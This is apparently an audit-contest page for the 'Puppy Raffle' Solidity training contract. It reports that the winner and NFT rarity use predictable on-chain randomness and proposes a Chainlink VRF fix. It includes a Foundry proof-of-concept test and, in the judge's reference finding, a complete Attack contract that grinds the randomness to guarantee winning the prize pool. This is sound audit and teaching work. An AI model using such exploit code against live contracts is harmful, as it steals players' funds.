Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Predictable / manipulable randomness in `selectWinner`

Root + Impact

Description

Both the winner index and the NFT rarity are derived from on-chain values that
the caller and block producer influence: msg.sender, block.timestamp, and
block.difficulty. selectWinner is permissionless, so an attacker chooses the
calling address, can wait for a favourable timestamp, and miners/validators can
bias block.difficulty. The outcome is fully computable before submitting the
transaction and can be ground until the attacker wins or gets a legendary mint.

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
// @> Caller-controlled + timestamp-derived randomness — fully predictable/grindable
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
...
// @> Same weak entropy reused for rarity — attacker can grind for legendary
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;

Risk

Likelihood: High — no capital at risk beyond the entrance fee; a caller can simulate winnerIndex off-chain and simply choose whether/when/from which address to submit.

Impact: High — theft of the prize pool. The attacker can guarantee being the winner and repeatedly target the highest-value (legendary) outcome, breaking the core fairness guarantee and draining the pool to themselves.

Proof of Concept

// test/Exploit.t.sol
function testPredictableWinner() public {
_enterFour();
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
​
// Recompute the exact same formula the contract uses.
// The caller controls `address(this)` and can pick `block.timestamp` within bounds.
uint256 predicted = uint256(
keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))
) % 4;
address predictedWinner = puppyRaffle.players(predicted);
​
puppyRaffle.selectWinner();
​
// Winner was known BEFORE the call -> randomness provides no security
assertEq(puppyRaffle.previousWinner(), predictedWinner);
}

Result: [PASS] testPredictableWinner() — the winner matches the pre-computed value, proving the draw is predictable. In production an attacker additionally loops over candidate msg.sender addresses (contracts / EOAs they control) and timestamps, submitting only when predicted equals an address they own.

Recommended Mitigation

Replace on-chain entropy with a verifiable randomness source. The draw must be
split into request and fulfill so the value is unknown when the caller acts.
Below is a Chainlink VRF v2 integration skeleton for the 0.7.6 codebase; the same
separation applies to a commit-reveal design.

-import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
+import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
+import {VRFConsumerBaseV2} from "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";
+import {VRFCoordinatorV2Interface} from "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol";
​
-contract PuppyRaffle is ERC721, Ownable {
+contract PuppyRaffle is ERC721, Ownable, VRFConsumerBaseV2 {
+ VRFCoordinatorV2Interface private immutable COORDINATOR;
+ bytes32 private immutable keyHash;
+ uint64 private immutable subscriptionId;
+ uint32 private constant CALLBACK_GAS_LIMIT = 200_000;
+ uint16 private constant REQUEST_CONFIRMATIONS = 3;
+ uint32 private constant NUM_WORDS = 2; // [0] winner index, [1] rarity
+
+ uint256 public pendingRequestId;
+ bool public drawPending;
+
+ constructor(..., address vrfCoordinator, bytes32 _keyHash, uint64 _subId)
+ VRFConsumerBaseV2(vrfCoordinator)
+ {
+ COORDINATOR = VRFCoordinatorV2Interface(vrfCoordinator);
+ keyHash = _keyHash;
+ subscriptionId = _subId;
+ }
- function selectWinner() external {
+ function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ require(!drawPending, "Draw already requested");
+ drawPending = true;
+ pendingRequestId = COORDINATOR.requestRandomWords(
+ keyHash, subscriptionId, REQUEST_CONFIRMATIONS,
+ CALLBACK_GAS_LIMIT, NUM_WORDS
+ );
+ }
+
+ function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords)
+ internal override
+ {
+ require(requestId == pendingRequestId, "Unknown request");
+ require(drawPending, "No pending draw");
+ drawPending = false;
+
+ uint256 winnerIndex = randomWords[0] % players.length;
+ address winner = players[winnerIndex];
+ uint256 rarity = randomWords[1] % 100;
+
+ // ... payout + rarity assignment + _safeMint using `winner` and `rarity` ...
+ // (keep the refund/accounting fixes from H-03)
- address winner = players[winnerIndex];
- uint256 totalAmountCollected = players.length * entranceFee;
- uint256 prizePool = (totalAmountCollected * 80) / 100;
- uint256 fee = (totalAmountCollected * 20) / 100;
- totalFees = totalFees + uint64(fee);
-
- uint256 tokenId = totalSupply();
-
- // We use a different RNG calculate from the winnerIndex to determine rarity
- uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
- if (rarity <= COMMON_RARITY) {
- tokenIdToRarity[tokenId] = COMMON_RARITY;
- } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
- tokenIdToRarity[tokenId] = RARE_RARITY;
- } else {
- tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
- }
-
- delete players;
- raffleStartTime = block.timestamp;
- previousWinner = winner;
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
- _safeMint(winner, tokenId);
}

If VRF is unacceptable, use a two-phase commit-reveal where the loser who withholds
the reveal is economically punished (forfeit deposit) — never block.* or msg.sender.


Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 42 minutes ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!